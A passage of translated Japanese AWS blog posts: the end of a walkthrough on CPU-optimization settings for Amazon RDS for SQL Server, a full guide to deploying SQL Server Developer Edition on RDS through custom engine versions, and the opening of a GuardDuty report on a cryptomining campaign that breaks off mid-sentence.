8 個の vCPU になります。 aws rds create-db-instance --region us-west-2 \ --engine-version 16.00 \ --allocated-storage 100 \ --license-model license-included \ --master-username admin --master-user-password XXXXX \ --no-multi-az \ --publicly-accessible \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --db-instance-identifier rfs-test-ocpu-instance \ --db-instance-class db.r7i.8xlarge \ --engine sqlserver-ee \ --processor-features "Name=coreCount,Value=8" "Name=threadsPerCore,Value=1" Bash このコマンドを使用する場合： --processor-features パラメータには、 coreCount と threadsPerCore の両方を指定することが必須です。 coreCount : インスタンスの CPU コア数をカスタマイズできます。選択したインスタンスタイプでコア数に許可されている値を確認するには、 CPU 最適化をサポートする DB インスタンスクラス を参照してください。 hreadsPerCore : コアあたりのスレッド数は、CPU コアあたりのスレッド数を定義するように設定されます。第 7 世代インスタンスクラスタイプ以降、CPU 最適化機能がサポートされており、第 7 世代インスタンスではハイパースレッディングが無効になっているため、コアあたりのスレッド数の許可値は 1 です。 --processor-features パラメータは、Amazon RDS for SQL Server に最低 4 vCPU が必要です。 これらの設定を確認するには、 describe-db-instances コマンドを使用してください： ---------------------------------------------------------------------------------- | DescribeDBInstances | +-----------------+--------------------------+---------------+-------------------+ | DBInstanceClass | DBInstanceIdentifier | Engine | EngineVersion | +-----------------+--------------------------+---------------+-------------------+ | db.r7i.8xlarge | rfs-test-ocpu-instance | sqlserver-ee | 16.00 .4215.2.v1 | +-----------------+--------------------------+---------------+-------------------+ || ProcessorFeatures || | +---------------------------------------------------+--------------------------+ | || Name | Value || | +---------------------------------------------------+--------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +---------------------------------------------------+--------------------------+ | Bash 以下は、AWS Management Console での CPU 最適化機能の設定画面です。 注意 : ワークロードや RDS で自動化されたタスクに対してリソース制約を引き起こすことなく、設定された vCPU がワークロードを処理できるように、CPU 最適化機能を使用してワークロードのベンチマークを実行することをお勧めします。 CPU 最適化機能が有効になっている既存インスタンスの変更 –use-default-processor-features を使用したインスタンスの変更 CPU 最適化インスタンスをデフォルト設定に戻すには、 --use-default-processor-features パラメータを使用します。 例えば、以下のコマンドは、db.r7i.8xlarge インスタンスタイプで 8 コア、1 スレッドのプロセッサ機能で設定されたインスタンス (rfs-test-ocpu-instance) を、そのデフォルト設定に変更します。 aws rds modify-db-instance --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance \ --use-default-processor-features \ --apply-immediately Bash 前の例では、8 コアで 1 コアあたり 1 スレッドの CPU 最適化設定で構成された既存の db.r7i.8xlarge インスタンスを、16 コアで 1 コアあたり 1 スレッドの db.r7i.8xlarge インスタンスタイプの デフォルト設定 を使用するように変換されます。 マルチ AZ インスタンスの場合、プライマリインスタンスとセカンダリインスタンスの両方が、プロセッサ機能設定に従って同一の vCPU 構成を持ちます。 注意 : DB インスタンスを変更して CPU 最適化を設定する場合、インスタンスクラスタイプを変更する際と同じように短時間の DB インスタンスのダウンタイムが発生します –processor-features を使用したインスタンスの変更 既存のインスタンスを変更して、プロセッサ機能設定を指定することができます。例えば、以下のコマンドは、db.r7i.8xlarge インスタンスタイプとデフォルト設定で構成されている既存のインスタンス (rfs-test-ocpu-instance) を、CPU 最適化のカスタム設定に変更します。 aws rds modify-db-instance --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance \ --db-instance-class db.r7i.16xlarge \ --processor-features "Name=coreCount,Value=8" "Name=threadsPerCore,Value=1" \ --apply-immediately Bash デフォルトでは、db.r7i.16xlarge インスタンスは 32 コアでコアあたり 1 スレッドをサポートし、合計 32 個の vCPU となります。指定された設定で CPU 最適化機能を利用すると、インスタンスは 8 コアでコアあたり 1 スレッドに変更され、合計 8 個の vCPU となります。 CPU 最適化が設定されたスナップショットからの復元 CPU 最適化が有効になっているインスタンスのスナップショットから復元する場合、デフォルトでは設定はターゲットインスタンスにコピーされます。復元プロセス中に異なる CPU 最適化設定を指定することもできます。 CPU 最適化機能を使用したスナップショットの復元 この例では、CPU 最適化設定で構成された既存のインスタンス (rfs-test-ocpu-instance) のスナップショットバックアップを使用しています。これは db.r7i.16xlarge インスタンスタイプを使用し、8 コアでコアあたり 1 スレッドの CPU 最適化設定により、合計 8 個の vCPU を実現しています。 スナップショットを作成するには、以下のコマンドを実行してください : aws rds create-db-snapshot --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance \ --db-snapshot-identifier backup-rfs-test-ocpu-instance Bash DB スナップショットの詳細を確認するには、次のコマンドを実行してください： aws rds describe-db-snapshots --region us-west-2 \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --query "DBSnapshots[*].{DBInstanceIdentifier:DBInstanceIdentifier,DBSnapshotIdentifier:DBSnapshotIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures}" Bash 次のようなアウトプットを取得できます : ------------------------------------------------------------------------------------------------ | DescribeDBSnapshots | +-------------------------+---------------------------------+---------------+------------------+ | DBInstanceIdentifier | DBSnapshotIdentifier | Engine | EngineVersion | +-------------------------+---------------------------------+---------------+------------------+ | rfs-test-ocpu-instance | backup-rfs-test-ocpu-instance | sqlserver-ee | 16.00 .4215.2.v1 | +-------------------------+---------------------------------+---------------+------------------+ || ProcessorFeatures || | +-------------------------------------------------------------+------------------------------+ | || Name | Value || | +-------------------------------------------------------------+------------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +-------------------------------------------------------------+------------------------------+ | Bash スナップショットから復元するには、次のコマンドを実行してください： aws rds restore-db-instance-from-db-snapshot --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --db-instance-identifier rfs-test-ocpu-instance-3 Bash restore-db-instance-from-db-snapshot では、インスタンスタイプや CPU 最適化設定を指定しなかったため、Amazon RDS はスナップショットから同じインスタンスタイプ (db.r7i.16xlarge) と CPU 最適化設定 (8 コア、コアあたり 1 スレッド) でインスタンスを作成します。 スナップショット復元で CPU 最適化機能を使用するシナリオは複数あります。 スナップショットを異なるインスタンスタイプとデフォルトのプロセッサ機能に復元 CPU 最適化が有効になっているインスタンスで取得したスナップショットは、異なるインスタンスタイプと --use-default-processor-features を指定することで復元できます。 この例では、CPU 最適化設定で構成された既存のインスタンス (rfs-test-ocpu-instance) のスナップショットバックアップを使用しています。元のインスタンスは db.r7i.16xlarge インスタンスタイプを使用し、8 コアでコアあたり 1 スレッドの CPU 最適化設定により、合計 8 個の vCPU となっています。 以下のコマンドは、スナップショットを異なるインスタンスタイプ (db.r7i.8xlarge) にデフォルトの CPU 設定 (16 コア、コアあたり 1 スレッド) で復元します。 aws rds restore-db-instance-from-db-snapshot --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --db-instance-identifier rfs-test-ocpu-instance-5 \ --db-instance-class db.r7i.8xlarge \ --use-default-processor-features Bash (無効) 異なるインスタンスタイプで、プロセッサ機能が設定されていない設定でのスナップショットの復元 CPU 最適化の設定をしたインスタンスから異なるインスタンスタイプにスナップショットを復元する際は、プロセッサ機能設定を省略することはできません。以下の例では、これを試行した場合に何が起こるかを示しています。 このシナリオでは、db.r7i.16xlarge、8 コア、コアあたり 1 スレッドで構成されたインスタンス (rds-test-ocpu-instance) から取得したスナップショットを、プロセッサ機能を指定せずに異なるインスタンスタイプ (db.r7i.8xlarge) に復元しています : aws rds restore-db-instance-from-db-snapshot --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --db-instance-identifier rfs-test-ocpu-instance-6 \ --db-instance-class db.r7i.8xlarge Bash このコマンドは次のエラーで失敗します： An error occurred ( InvalidParameterCombination ) when calling the RestoreDBInstanceFromDBSnapshot operation: Your request must specify ProcessorFeatures settings or set UseDefaultProcessorFeatures since the snapshot has ProcessorFeatures set. Bash スナップショットでプロセッサ機能が有効になっており、復元時に異なるインスタンスタイプを指定する場合は、 ProcessorFeatures 設定または UseDefaultProcessorFeatures オプションのいずれかを明示的に指定する必要があります。 カスタムプロセッサ機能を持つ異なるインスタンスタイプにスナップショットを復元する 例えば、以下のコマンドは、db.r7i.16xlarge インスタンスタイプを使用して CPU 最適化設定 (8 コア、コアあたり 1 スレッド) で構成されたインスタンス (rfs-test-ocpu-instance) のスナップショットを復元します。新しいインスタンスタイプ (db.r7i.12xlarge) と新しい CPU 最適化設定 (18 コア、コアあたり 1 スレッド) を指定しました。 aws rds restore-db-instance-from-db-snapshot --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --db-snapshot-identifier backup-rfs-test-ocpu-instance \ --db-instance-identifier rfs-test-ocpu-instance-7 \ --db-instance-class db.r7i.12xlarge \ --processor-features "Name=coreCount,Value=18" "Name=threadsPerCore,Value=1" Bash CPU 最適化されたポイントインタイムリカバリ (PITR) ポイントインタイムリカバリ (PITR) を使用すると、インスタンスを特定の時点に復元できます。このプロセスでは、PITR で指定された時刻に基づいて特定のスナップショットを復元し、その後そのスナップショットにすべてのトランザクションログバックアップを適用することで、インスタンスを指定された時点の状態にします。 PITR では、 coreCount と threadsPerCore のプロセッサ機能設定は、PITR リクエスト時にカスタム値が指定されない限り、(その時点に設定されていた値ではなく) ソーススナップショットから取得されます。使用されているソーススナップショットで CPU 最適化が有効になっており、PITR で異なるインスタンスタイプを使用している場合は、ターゲットインスタンスの CPU 最適化オプションを定義するか、 --use-default-processor-features オプションを指定する必要があります。上記のスナップショット復元で説明されたユースケースは、PITR にも適用されます。 TimeStamp-1 : CPU 最適化されたソースデータベースインスタンスの詳細 例えば、8 コアで 1 コアあたり 1 スレッドの CPU 最適化設定で db.r7i.8xlarge インスタンスタイプで実行されるインスタンス (rfs-test-ocpu-instance-8) があります。以下のコマンドはインスタンス設定を表示します。 aws rds describe-db-instances --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-8 \ --query 'DBInstances[].{DBInstanceIdentifier:DBInstanceIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures,DBInstanceClass:DBInstanceClass}' Bash 次のような出力が得られます : ------------------------------------------------------------------------------------ | DescribeDBInstances | +-----------------+----------------------------+---------------+-------------------+ | DBInstanceClass | DBInstanceIdentifier | Engine | EngineVersion | +-----------------+----------------------------+---------------+-------------------+ | db.r7i.8xlarge | rfs-test-ocpu-instance-8 | sqlserver-ee | 16.00 .4215.2.v1 | +-----------------+----------------------------+---------------+-------------------+ || ProcessorFeatures || | +-----------------------------------------------------+--------------------------+ | || Name | Value || | +-----------------------------------------------------+--------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +-----------------------------------------------------+--------------------------+ | Bash TimeStamp-2: データベーススナップショットの作成 データベースのスナップショットを作成するために、以下のコマンドを実行します。 aws rds create-db-snapshot --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-8 \ --db-snapshot-identifier pitr-backup-rfs-test-ocpu-instance-8 Bash データベーススナップショットの詳細を確認するために以下のコマンドを使用します： aws rds describe-db-snapshots --region us-west-2 \ --db-snapshot-identifier pitr-backup-rfs-test-ocpu-instance-8 \ --query "DBSnapshots[*].{DBInstanceIdentifier:DBInstanceIdentifier,DBSnapshotIdentifier:DBSnapshotIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures}" Bash 次のような出力が得られます : --------------------------------------------------------------------------------------------------------- | DescribeDBSnapshots | +---------------------------+----------------------------------------+---------------+------------------+ | DBInstanceIdentifier | DBSnapshotIdentifier | Engine | EngineVersion | +---------------------------+----------------------------------------+---------------+------------------+ | rfs-test-ocpu-instance-8 | pitr-backup-rfs-test-ocpu-instance-8 | sqlserver-ee | 16.00 .4215.2.v1 | +---------------------------+----------------------------------------+---------------+------------------+ || ProcessorFeatures || | +-------------------------------------------------------------------+---------------------------------+ | || Name | Value || | +-------------------------------------------------------------------+---------------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +-------------------------------------------------------------------+---------------------------------+ | Bash TimeStamp-3: インスタンスプロセッサ機能設定の変更 次に、以下のコマンドを実行して、インスタンスのプロセッサ機能設定を 4 コア、コアあたり 1 スレッドに変更します： aws rds modify-db-instance --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-8 \ --db-instance-class db.r7i.8xlarge \ --processor-features "Name=coreCount,Value=4" "Name=threadsPerCore,Value=1" \ --apply-immediately Bash インスタンスの詳細を確認します : aws rds describe-db-instances --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-8 \ --query 'DBInstances[].{DBInstanceIdentifier:DBInstanceIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures,DBInstanceClass:DBInstanceClass}' Bash 次のような出力が得られます : ----------------------------------------------------------------------------------- | DescribeDBInstances | +-----------------+----------------------------+---------------+-------------------+ | DBInstanceClass | DBInstanceIdentifier | Engine | EngineVersion | +-----------------+----------------------------+---------------+-------------------+ | db.r7i.8xlarge | rfs-test-ocpu-instance-8 | sqlserver-ee | 16.00 .4215.2.v1 | +-----------------+----------------------------+---------------+-------------------+ || ProcessorFeatures || | +-----------------------------------------------------+--------------------------+ | || Name | Value || | +-----------------------------------------------------+--------------------------+ | || coreCount | 4 || || threadsPerCore | 1 || | +-----------------------------------------------------+--------------------------+ | Bash TimeStamp-4: 最新の復元可能時刻への PITR 次に、インスタンスを最新の復元可能時刻に復元します。 aws rds restore-db-instance-to-point-in-time --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --source-db-instance-identifier rfs-test-ocpu-instance-8 \ --target-db-instance-identifier rfs-test-ocpu-instance-9 \ --use-latest-restorable-time Bash 復元されたインスタンスに対して describe コマンドを実行します： aws rds describe-db-instances --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-9 \ --query 'DBInstances[].{DBInstanceIdentifier:DBInstanceIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures,DBInstanceClass:DBInstanceClass}' \ Bash 次のような出力が得られます : ------------------------------------------------------------------------------------ | DescribeDBInstances | +-----------------+----------------------------+---------------+-------------------+ | DBInstanceClass | DBInstanceIdentifier | Engine | EngineVersion | +-----------------+----------------------------+---------------+-------------------+ | db.r7i.8xlarge | rfs-test-ocpu-instance-9 | sqlserver-ee | 16.00 .4215.2.v1 | +-----------------+----------------------------+---------------+-------------------+ || ProcessorFeatures || | +-----------------------------------------------------+--------------------------+ | || Name | Value || | +-----------------------------------------------------+--------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +-----------------------------------------------------+--------------------------+ || Bash ポイントインタイムリカバリ (PITR) の時点で、ソースインスタンスは db.r7i.8xlarge インスタンスタイプで実行されており、4 コア、コアあたり 1 スレッドの構成となっています。しかし、復元されたインスタンス (最新の復元可能時刻を使用) の CPU 設定は、8 コア、コアあたり 1 スレッドに設定されています。 クリーンアップ RDS for SQL Server インスタンスが不要になった場合は、追加料金の発生を避けるために削除してください。 RDS SQL Server DB インスタンスの削除 次のコマンドを使用します : aws rds delete-db-instance \ --region us-west-2 \ --db-instance-identifier < db_instance_name > \ --skip-final-snapshot Bash 手動で取得した DB Snapshot の削除 次のコマンドを使用します : aws rds delete-db-snapshot \ --region us-west-2 \ --db-snapshot-identifier < db_snapshot_name > Bash 結論 この投稿では、Amazon RDS for SQL Server の CPU 最適化機能を使用して vCPU 割り当てをカスタマイズし、特定のワークロードのコストを削減し、パフォーマンスを最適化する方法を実演しました。新しいインスタンスの作成、既存インスタンスの変更、CPU 最適化設定でのスナップショットからの復元とポイントインタイムリカバリについて説明しました。CPU リソースを微調整することで、アプリケーションが必要とするパフォーマンスを維持しながら、より良いコスト最適化を実現できます。 Amazon RDS for SQL Server とその機能の詳細については、 Amazon RDS ユーザーガイド を参照してください。 翻訳はソリューションアーキテクトの Yoshinori Sawada が担当しました。原文は こちら です。 著者について Srikanth Katakam Srikanth は、Amazon RDS やAmazon RDS Custom for SQL Server などの Amazon RDS 商用データベースエンジンを専門とするAWS のシニアデータベースエンジニアです。豊富な技術的専門知識を持っていて、AWS のお客様の多様なニーズに応える堅牢な機能の設計と開発に情熱を注いでいます。 Sandesh Bhandari Sandesh は、AWS のソフトウェア開発エンジニアで、Amazon RDS for SQL Server と RDS Custom for SQL Server に取り組んでいます。彼はスケーラブルなデータベースソリューションの構築と複雑な技術的問題の解決を専門としています。詳細な分析とイノベーションに重点を置き、AWS データベースサービスの信頼性と効率性を向上させる機能を開発しています。

Amazon Relational Database Service (Amazon RDS) for SQL Server は、SQL Server インストールファイルを Amazon Simple Storage Service (Amazon S3) にアップロードするカスタムエンジンバージョン (CEV) アプローチを通じて、SQL Server Developer Edition をサポートするようになりました。この機能により、フルマネージドな RDS インフラストラクチャの恩恵を受けながら、追加のライセンス費用を発生させることなく、開発およびテスト環境で Developer Edition を使用することができます。 SQL Server Developer Edition は、Enterprise Edition のすべての機能を含む完全機能版です。 RDS上 の SQL Server Developer Edition により、開発チームは本番環境との一貫性を保ちながら、管理された環境で Developer Edition の機能を利用でき、AWS インフラストラクチャの料金のみを支払うだけで、SQL Server のライセンス料金は不要です。料金の詳細については、 Amazon RDS for SQL Server の料金ページ をご覧ください。 ソーリューション概要 SQL Server Developer Edition インスタンスを作成するには、以下の 3 つの手順に従ってください。 Developer Edition ISO および必要な累積更新プログラムを含む SQL Server インストールファイルを準備し、Amazon S3 にアップロードします。 Amazon RDS が特定のデータベースエンジン構成を構築するために使用する CEV を作成します。 CEV を使用して RDS インスタンスを起動すると、フルマネージドな SQL Server Developer Edition データベースが提供されます。 以下の図は、前述の手順で説明されたワークフローを示しています。 前提条件 この機能の初期リリースの一環として、Developer Edition は累積更新プログラム 21(CU21) を適用した SQL Server 2022 をサポートしています。この機能は第 6 世代インスタンスクラス (M6i および R6i) でサポートされています。サポートされているインスタンスクラスの最新リストについては、 AWS RDS SQL Server インスタンスクラス を参照してください。 開始する前に、以下が必要です： 以下の権限を持つ RDS for SQL Server Developer Edition インスタンスを作成できる AWS Identity and Access Management (IAM) プリンシパル (ロールまたはユーザー) ： AmazonRDSFullAccess – RDS 操作のための AWS 管理ポリシー s3:GetObject – Amazon S3 内の SQL Server インストールファイルにアクセスするための権限 インストールファイルを保存する S3 バケット。すべてのインストールファイルは、CEV を作成するのと同じ AWS リージョンの同じ S3 バケット内の同じフォルダパスに保存する必要があります。 ステップ 1: インストールファイルを準備してアップロードする 開始するには、SQL Developer Edition と累積更新プログラムをダウンロードしてインストールします。この手順の一部として、ファイルを保存するための S3 バケットを作成します。 SQL Server Developer Edition をダウンロード SQL Server 2022 Developer Edition をダウンロードする 注意 : Developer Edition を入手するために Visual Studio サブスクリプション を使用することもできます。英語版をダウンロードしてください。他のバージョンはサポートされていません。 インストーラーを実行し、「メディアのダウンロード」を選択してください。 優先言語として英語を選択し、メディアタイプとして ISO を選択し、インストールファイルを保存するダウンロード場所を指定してください。他の言語の ISO ファイルはサポートしていません。ISO ファイルが英語でない場合、またはファイルに ISO 拡張子がない場合、Developer Edition CEV の作成プロセスは失敗します。 または、SQL Server Developer Edition のインストールパッケージをダウンロードした後、以下のコマンドを使用してインタラクティブインストーラーの無人ダウンロードを実行できます。 SQL2022-SSEI-Dev.exe /Action=Download /Language=en-US /MediaType=ISO /MediaPath=C:\InstallationMedia /Quiet Code サポートされている累積更新プログラム Developer Edition CEV の作成でサポートされているすべてのエンジンバージョンを表示するには、以下の AWS Command Line Interface (AWS CLI) コマンドを実行してください： aws rds describe-db-engine-versions \ --engine sqlserver-dev-ee \ --output json \ --query "{DBEngineVersions: DBEngineVersions[?Status=='requires-custom-engine-version'].{Engine: Engine, EngineVersion: EngineVersion, Status: Status, DBEngineVersionDescription: DBEngineVersionDescription}}" Code このコマンドは以下のような出力を返します : { "DBEngineVersions": [ { "Engine": "sqlserver-dev-ee", "EngineVersion": "16.00.4215.2.v1", "Status": "requires-custom-engine-version", "DBEngineDescription": "Microsoft SQL Server Enterprise Developer Edition", "DBEngineVersionDescription": "SQL Server 2022 16.00.4215.2.v1" } ] } Code エンジンバージョンのステータスを “requires-custom-engine-version” に設定すると、サポートされているテンプレートエンジンバージョンが識別されます。これらのテンプレートは、インポート可能な SQL Server バージョンを示します。 累積更新プログラムをダウンロード Microsoft Update Catalog にアクセスします。 最新の RDS サポート対象累積更新プログラムを検索してダウンロードします。この例では、CU21 (SQLServer2022-KB5065865-x64.exe) を使用しています。 S3 バケットを作成し、SQL Serverのインストールファイルをアップロード 以下のサンプルコードは、 us-west-2 リージョンに amzn-s3-demo-destination-bucket バケットを作成します。 aws s3 mb s3://amzn-s3-demo-destination-bucket --region us-west-2 Code ISO ファイルをアップロードするために以下のコマンドを実行してください。 aws s3 cp SQLServer2022-x64-ENU-Dev.iso s3://amzn-s3-demo-destination-bucket/sqlserver-dev-media/ Code 累積更新ファイルをアップロードするために、以下のコマンドを実行してください。 aws s3 cp SQLServer2022-KB5065865-x64.exe s3://amzn-s3-demo-destination-bucket/sqlserver-dev-media/ Code 結果を確認するには、Amazon S3 コンソールに移動してバケットを参照してその内容を表示してください。 ステップ 2: CEV を作成 CEV は、Amazon RDS がインスタンスをデプロイする際に使用する SQL Server のインストールファイルを再利用可能なテンプレートにパッケージ化します。この手順では、S3 バケットにアップロードした SQL Server インストールファイルから CEV を作成します。 Aurora と RDS の AWS マネジメントコンソールから、ナビゲーションペインで「カスタムエンジンバージョン」を選択し、次に「カスタムエンジンバージョンの作成」を選択します。 CEV の設定をします : エンジンのタイプ : SQL Server を選択 データベース管理タイプ : Amazon RDS を選択 エディション : SQL Server Developer Edition を選択 エンジンバージョン : ドロップダウンメニューから SQL Server エンジンバージョンを選択してください。メニューには SQL Server Developer Edition でサポートされているエンジンバージョン (16.00.4215.2 など) が表示されます。 カスタムエンジンバージョン識別子 : sql-server-dev-edition-cev などの名前を入力してください。 インストールメディアで、ISO ファイルと累積更新プログラムを検索して選択します。 SQL インストールファイルパス : s3://amzn-s3-demo-destination-bucket/sqlserver-dev-media/SQLServer2022-x64-ENU-Dev.iso 更新プログラムファイルパス : s3://amzn-s3-demo-destination-bucket/sqlserver-dev-media/SQLServer2022-KB5065865-x64.exe 「カスタムエンジバージョンの作成」をクリックします。 CEV の作成には通常 15 ～ 30 分かかります。新しく作成された CEV は、検証が完了するまで「検証中」のステータスになります。RDS インスタンスを作成する前に、コンソールで CEV のステータスを監視し、「利用可能」になるまで待ってください。 または、AWS CLI を使用して CEV を作成し、そのステータスを監視することもできます。 CEV の作成 aws rds create-custom-db-engine-version \ --engine sqlserver-dev-ee \ --engine-version 16.00.4215.2.sql-server-dev-ed-cev \ --region us-west-2 \ -- database-installation-files-s3-bucket-name amzn-s3-demo-destination-bucket \ --database-installation-files-s3-prefix sqlserver-dev-media \ --database-installation-files "SQLServer2022-x64-ENU-Dev.iso" "SQLServer2022-KB5065865-x64.exe" Code CEV 作成ステータスの監視 aws rds describe-db-engine-versions \ --engine sqlserver-dev-ee \ --engine-version 16.00.4215.2.sql-server-dev-ed-cev \ --region us-west-2 Code 注意 : このコマンドは、ステータスが 「利用可能」の CEV のみを返します。「検証中」やその他のステータスの CEV を表示するには、 --include-all フラグを含めてください。 ステップ 3: RDS インスタンスの起動 CEV が「利用可能」のステータスを表示した後、カスタム SQL Server Developer Edition 設定を使用する RDS インスタンスを作成できます。インスタンスは、特定の SQL Server バージョンと累積更新プログラムでデプロイされます。 Aurora と RDS の AWS マネジメントコンソールから、左側のナビゲーションペインで「データベース」を選択し、次に「データベースの作成」を選択します。 データベース作成ページで、インスタンスに必要な設定を入力し、エンジンオプションが正しく設定されていることを確認してください。 エンジンのタイプ : Microsoft SQL Server を選択 データベース管理タイプ : Amazon RDS を選択 エディション : SQL Server Developer Edition を選択 カスタムエンジンバージョン : ドロップダウンメニューから希望する CEV を選択 ユースケースに合わせて、DB インスタンスサイズ、ストレージ、接続性の設定を定義してください。 「データベースの作成」をクリックします。 または、AWS CLI を使用して RDS インスタンスを作成することもできます。 aws rds create-db-instance \ --db-instance-identifier sqlserver-dev-ed \ --db-instance-class db.m6i.xlarge \ --engine sqlserver-dev-ee \ --engine-version 16.00.4215.2.sql-server-dev-ed-cev \ --allocated-storage 200 \ --master-username admin \ --master-user-password your-secure-password-here \ --license-model bring-your-own-license \ --no-multi-az \ --vpc-security-group-ids sg-xxxxxxxxx\ --db-subnet-group-name my-db-subnet-group-name \ --backup-retention-period 7 \ --region us-west-2 Code 重要な制限事項と考慮事項 Amazon RDS 上の SQL Server Developer Edition には以下の制限と考慮事項があります : Microsoft のライセンス条項に準拠し、本番ワークロードでは適切なライセンスの SQL Server エディションを使用することを確実にする責任があります。 マルチ AZ デプロイメントとリードレプリカは現在サポートされていません。 CEV はリージョンとアカウント固有であり、リージョン間でのコピーや AWS アカウント間での共有はできません。現在のリージョン可用性については、 Amazon RDS ドキュメント を参照してください。 最新の累積更新プログラムで DB インスタンスをアップグレードするには、Amazon RDS でサポートされている最新の CU を使用して新しい CEV を作成する必要があります。データベースインスタンスに最新の更新プログラムを適用するには、この投稿で説明されているのと同じ新しい CEV 作成プロセスに従う必要があります。詳細については、「 データベースマイナーバージョンアップグレードの適用 」を参照してください。 RDS DB インスタンス、DB スナップショット、バックアップなどの関連リソースがある場合、CEV を削除することはできません。 SQL Server Developer Edition 自体は開発およびテスト目的では無料ですが、以下のコストを考慮する必要があります： Amazon RDS インスタンス コスト データベースとバックアップの Amazon RDS ストレージ コスト インストールファイルの Amazon S3 ストレージコスト データ転送 コスト セキュリティとパフォーマンスを維持するため、インストールファイルと累積更新プログラムを最新の状態に保ってください。 下位環境でのコスト削減を最大化するために Developer Edition の使用を組み合わせて、不要な時には定期的なシャットダウンを実装してください。 クリーンアップ 継続的な課金を防ぐため、このウォークスルーで作成したリソースが不要になったら削除してください。 RDS for SQL Serve インスタンスを削除します。手順については、「 DB インスタンスの削除 」を参照してください。 カスタムエンジンバージョンを削除します。手順については、「 カスタムエンジンバージョンの削除 」を参照してください。 S3 バケットを削除します。手順については、「 バケットの削除 」を参照してください。 結論 この投稿では、Amazon RDS 上で SQL Server Developer Edition の作成およびデプロイする方法をご紹介しました。インストールファイルの準備と Amazon S3 へのアップロードから、CEV の作成、そして最終的な RDS インスタンスの起動までのプロセスを見てただきました。Amazon RDS 上の SQL Server Developer Edition は、Enterprise ライセンス料金なしで、非本番環境において Enterprise Edition の機能と Amazon RDS の自動管理機能を提供します。Amazon S3 にアップロードされたインストールファイルから CEV を作成し、それらを使用して開発およびテスト環境用の複数のデータベースインスタンスを作成しながら、本番レベルの一貫性を確保することができます。 翻訳はソリューションアーキテクトの Yoshinori Sawada が担当しました。原文は こちら です。 著者について Sudhir Amin Sudhir は、ニューヨークを拠点とする AWS のシニアソリューションアーキテクトです。彼は様々な業界のお客様に対してアーキテクチャのガイダンスと技術支援を提供し、クラウド導入の促進を支援しています。仕事以外では、スヌーカーやボクシング、UFC などの格闘技に情熱を注いでいます。また、世界各地の野生動物保護区を旅行し、雄大な動物たちを自然の生息地で観察することを楽しんでいます。 Mesgana Gormley Mesgana は、AWS のシニアデータベーススペシャリストソリューションアーキテクトで、Amazon RDS チームで働いています。彼女は、AWS のお客様に技術的なガイダンスを提供し、AWS 上でリレーショナルデータベースワークロードの移行、設計、デプロイ、最適化を成功させる支援に注力しています。仕事以外では、旅行や家族や友人との質の高い時間を過ごすことを楽しんでいます。 Kalyan Banala Kalyan は、AWS の Amazon RDS Custom for SQL Server チームで活躍するデータベースエンジニアです。複雑な技術的課題を解決することを楽しみ、チームメイトや AWS のお客様との知識の学び合いや共有に情熱を注いでいます。

本ブログは 2025 年 12 月 16 日に公開された AWS Blog “ GuardDuty Extended Threat Detection uncovers cryptomining campaign on Amazon EC2 and Amazon ECS ” を翻訳したものです。 Amazon GuardDuty と AWS の自動セキュリティ監視システムは、2025 年 11 月 2 日に開始された暗号通貨マイニングキャンペーンを検出しました。この攻撃は、侵害された AWS Identity and Access Management (IAM) 認証情報を使用して、 Amazon Elastic Container Service (Amazon ECS) と Amazon Elastic Compute Cloud (Amazon EC2) を標的としています。 GuardDuty 拡張脅威検出 は、これらのデータソース全体のシグナルを相関させ、重大度がクリティカルの攻撃シーケンスの検出結果を生成しました。 Amazon Web Services (AWS) の大規模で高度な脅威インテリジェンス機能と既存の検出メカニズムを活用し、GuardDuty はこの進行中のキャンペーンをプロアクティブに特定し、お客様に脅威を迅速に通知しました。AWS は、お客様がこの進行中のキャンペーンに対して適切な対策を講じられるよう、関連する検出結果と緩和策のガイダンスを共有しています。 重要な点として、これらのアクションは AWS サービスの脆弱性を悪用するものではなく、正規の認証情報が侵害され、本来の所有者が意図しない方法で攻撃者に悪用されることで発生します。これらのアクションは 責任共有モデル におけるお客様の責任範囲で発生しますが、AWS はこのようなアクティビティを検出、防止、または影響を軽減するためにお客様が実施できる手順を推奨しています。 暗号通貨マイニングキャンペーンの概要 今回検出された暗号通貨マイニングキャンペーンでは、インシデントレスポンスを妨害し、マイニング活動を長期化させるように設計された新たな永続化手法が使用されていました。GuardDuty のセキュリティエンジニアが、複数の AWS カスタマーアカウントで類似した攻撃手法が使用されていることを発見し、このキャンペーンを特定しました。これは、侵害された IAM 認証情報を使用してお客様を標的とした組織的なキャンペーンであることを示しています。 脅威アクターは外部のホスティングプロバイダーを拠点として、Amazon EC2 のサービスクォータと 